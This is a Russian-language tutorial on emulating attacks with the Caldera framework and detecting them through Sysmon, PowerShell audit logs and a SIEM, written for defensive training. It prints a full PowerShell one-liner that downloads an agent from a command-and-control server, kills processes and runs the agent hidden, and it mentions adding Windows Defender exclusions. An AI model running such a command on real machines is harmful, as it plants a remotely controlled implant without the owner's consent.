Практически любая атака всегда выполняется с внешним управлением — то есть с применением командного сервера (C&C). Чтобы «дергать за ниточки» цель, необходимо обеспечить связь с атакуемого хоста, поэтому на него устанавливается специальный агент.
Еще по теме: Лучшие инструменты аудита безопасности Linux
В веб‑интерфейсе переходим на вкладку agents, затем в открывшемся виджете нажимаем на кнопку подготовки агента.
Теперь следует определить тип агента (GoLang-агент — самый популярный), указать платформу, на которой будем его разворачивать, и остается лишь заполнить адрес нашего сервера управления (на котором у нас развернут контейнер) с указанием порта веб‑интерфейса.
После заполнения ты увидишь команду для установки агента на хосте, с параметрами, которые мы указали выше:
1 |
$server="http://192.168.0.242:18890"; $url="$server/file/download"; $wc=New-Object System.Net.WebClient; $wc.Headers.add("platform","windows"); $wc.Headers.add("file","sandcat.go"); $data=$wc.DownloadData($url); $name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"",""); get-process | ? | stop-process -f; rm -force "C:\Users\Public$name.exe" -ea ignore; [io.file]::WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null; Start-Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server $server -group red" -WindowStyle hidden; |
Выполним эту команду в PowerShell на машине, где планируется эмулировать активность атакующих. Для лучшего эффекта рекомендуем установить агент с правами администратора. По умолчанию Windows будет нам мешать, но мы создадим необходимые исключения для корректной установки. Интересно, что свойства работы этого агента занесены в базу знаний о вредоносах в отдельной статье Microsoft.
Если установка прошла успешно, в веб‑интерфейсе появится следующее.
Щелкнув на этой строке, мы сможем увидеть параметры хоста и настройки агента.
Агент пока только установлен и не выполняет никаких действий. Теперь подготовим логирование на нашем хосте.
Подготовка мониторинга событий — Sysmon и журналы Windows
Стандартные инструменты логирования ОС Windows не позволят нам увидеть множество интересных событий, происходящих в кишках системы, поэтому на целевую машину мы добавим Sysmon и немного волшебства.
Системный монитор (Sysmon) — это служба Windows и драйвер устройства. Раньше эта утилита была частью пакета программного обеспечения Sysinternals, теперь принадлежащего Microsoft. Установка Sysmon позволяет отслеживать и регистрировать системные действия в журнале событий Windows. Он предоставляет подробные сведения о создании процессов, о сетевых подключениях и изменениях времени создания файлов.
Sysmon очень легко установить и развернуть. Загрузить тулзу можно с сайта Microsoft (кстати, есть версия и для Linux). Программа запускается в качестве службы. Основную сложность представляет настройка конфигурации, с использованием которой утилита выполняет свою работу, но, к счастью, есть уже готовые и обкатанные варианты.
Рекомендуем выбрать конфигурацию по умолчанию — default (sysmonconfig.xml). Для установки конфигурации используй такую команду:
1 |
sysmon.exe -accepteula -i sysmonconfig.xml |
Отследить вредоносные или аномальные явления в системе можно, собирая данные, которые генерируют агенты сбора событий Windows (Event Collector) или SIEM (winlogbeat и другие сторонние средства). При расследовании киберинцидентов это позволит понять, как злоумышленники закрепляются и действуют в сети. Так, благодаря анализу событий в ОС мы узнали, что в компонентах браузера Chrome используется защита производства компании ESET.
Для работы с событиями журналов Windows мы будем использовать современную SIEM-систему. На скриншотах ниже показан продукт «Лаборатории Касперского» KUMA (Kaspersky Unified Monitoring and Analysis Platform). В целом не так важно, как собирать эти события и где их анализировать, главное — содержание!
Запуск Caldera-агента
Итак, мы имеем на хосте настроенное по умолчанию логирование Windows и установленный с некой конфигурацией Sysmon. Теперь запустим агент‑имитатор и посмотрим, что получится.
В системе мониторинга (SIEM) мы отключили все правила корреляции (которые подсветили бы все подозрительные активности). Наша задача — найти подозрительные события вручную. События отсортированы по параметру EventRecordID журналов ОС Windows — в SIEM это столбец ExternalID.
Что мы видим? Произошел запуск оснастки PowerShell (события до ID 50002), далее глаз цепляется за событие, в ходе которого из процесса PowerShell создается новый файл (в столбце Name, который обозначает суть события, стоит File Created). Созданный файл с именем sandcat-go.windows.exe запускается на выполнение (Name = Image loaded). Здесь же мы видим его контрольную сумму (ее можно использовать как IOC для поиска в различных базах, например на VirusTotal). Вдобавок у этого файла нет цифровой подписи. Подозрительно? Вроде бы да.
Мы видим, что в подписи отсутствуют значения ряда полей. Сравни полученный результат с подписью нормального файла, какого‑нибудь виндового системного. В отличие от sandcat-go.windows.exe, у него заполнена информация о компании и другие характерные строки.
Системный, хороший исполняемый файл с валидной информацией по сертификату
Файл однозначно вызывает сомнения. Интересно, что делает этот подозрительный объект после установки?
В первую очередь вредоносной программе нужно закрепиться в системе, и она прописывает себя в автозапуск в качестве службы, используя ключи реестра. Что дальше? У подобных файлов обычно имеется внешнее управление, а значит, должны присутствовать и сетевые соединения. Эти события логируются, и большой SIEM все видит (Name = Network connection detected).
В сетевой активности участвует сам сервер управления (Caldera), так как в настройках сетевой коммуникации агента не используется прокси.
Чего‑то не хватает, да? Кажется, мы упустили сами команды, которые происходили в PowerShell… А ведь их можно отыскать, стоит только немножко потрудиться. Для этого нужно настроить уровень логирования в системе. Нажимаем Winkey + R и запускаем gpedit.msc. В разделе «Конфигурация компьютера → Administrative Templates → Windows Components → Windows PowerShell» включаем ведение аудита по следующим событиям.
В свойствах первого (вести логирование модулей) пропиши в качестве Value знак * — это включит логирование всех модулей PowerShell.
А в свойствах второго (включить регистрацию блоков сценариев PowerShell) устанавливаем флажок.
Чтобы найти логи, нажми Win-R, запусти eventvwr, а затем в окне Application and Services Logs перейди в раздел Microsoft → Windows → PowerShell → Operational. Для проверки введи в консоль PowerShell команду whoami и найди ее в логах.
Теперь точно будет интереснее!
Начало атаки
Чтобы запустить атаку по заранее подготовленному сценарию, в веб‑интерфейсе Caldera выбираем пункт меню Operations, затем придумываем имя операции и указываем активность, которая будет эмулироваться. В нашем случае это Discovery (один из этапов атак выполнения разведки, подробнее о нем читай на сайте MITRE, а дополнительные подробности — в этой статье). Также можно заполнить и другие параметры операции, но ты это сделаешь, когда наберешься опыта.
После нажатия кнопки Start агент начинает действовать, весь процесс последовательно отображается на экране, а звездами обозначаются успешно выполненные команды.
В ходе эмуляции атаки проверялись различные параметры: какие юзеры есть в системе, установлен ли антивирус и так далее. Проиллюстрируем в качестве примера, как Caldera определяет, присутствует ли в системе антивирус. Делается это с помощью тривиального WMI-запроса. Проверка показала, что на хосте установлен стандартный Windows Defender.
Вернемся к SIEM. Теперь среди собранных событий, которых внезапно стало больше, можно отследить, под учеткой какого пользователя действовали «злоумышленники» (его SID) и какие консольные команды они выполняли.
Попробуем немного усложнить задачу для защитников: будем использовать обфусцированные команды PowerShell и посмотрим, как они выглядят в логах. Для этого создадим новую операцию Obfuscation_Commands с эмуляцией активностей червя. Функция обфускации настраивается в параметрах скрытности (stealth).
При выполнении операции можно запускать некоторые команды в консоли вручную и получать вывод.
Но ручная команда получилась необфусцированной. Посмотрим, что будет при запуске нашей «зачервленной» компании.
Команды запускаются с ключом -Enc или -E. Если ты однажды заметишь подобное, всегда обращай на это пристальное внимание: обычно это что‑то опасное. В журналах системы у нас происходит кое‑что поинтереснее: сначала выполнялась абракадабра, а потом мы явно видим эту команду (чудо аудита!). На иллюстрации стрелками указаны RecordID в журнале, соответствующие интересующим нас записям.
Таким образом, мы симулировали действия атакующего с помощью Caldera. С этим фреймворком легко провести атаку подобно Red Team и прокачать навыки Blue и Purple Team.
Заключение
Теперь ты готов тестировать свою инфраструктуру! В статье мы рассказали о базовых вещах, которые помогут быстрее начать пользоваться этим инструментом. Все шишки мы набили за тебя, но на всякий случай держи в помощь документацию.
Какие выводы можно сделать, проанализировав эту смоделированную атаку?
- Хранить журналы ОС и систем безопасности нужно не только на самой рабочей станции, но и в отдельном месте — там их злодей хотя бы не сотрет.
- Ведение расширенных журналов с помощью Sysmon всегда полезно и к тому же бесплатно. Но в зависимости от конфигурации может вырасти нагрузка на хост.
- Провести эмуляцию атак не так уж и сложно.
Для сбалансированной настройки политик аудита, в том числе для ведения журналов в различных системах, следует придерживаться рекомендаций Microsoft.
ПОЛЕЗНЫЕ ССЫЛКИ: